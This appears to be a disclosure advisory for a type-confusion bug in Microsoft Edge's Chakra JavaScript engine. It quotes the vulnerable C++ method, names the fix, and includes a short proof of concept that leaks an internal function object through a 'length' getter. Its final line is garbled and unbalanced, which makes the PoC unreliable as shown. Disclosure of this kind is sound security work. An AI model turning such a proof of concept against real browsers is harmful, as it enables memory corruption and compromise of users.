Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

Microsoft Edge Chakra suffers from a JavascriptGeneratorFunction::GetPropertyBuiltIns exposure of scriptFunction.

MD5 | e8df0b0b2e1f9ed2b06276033e5b5645

Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction 


Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
if (propertyId == PropertyIds::length)
int len = 0;
Var varLength;
if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
len = JavascriptConversion::ToInt32(varLength, requestContext);
return true;

return false;

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
function* f() {

let g;
f.__defineGetter__('length', function () {
g = this; // g == "scriptFunction"

f.length;, 0x5678); // type confusion

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

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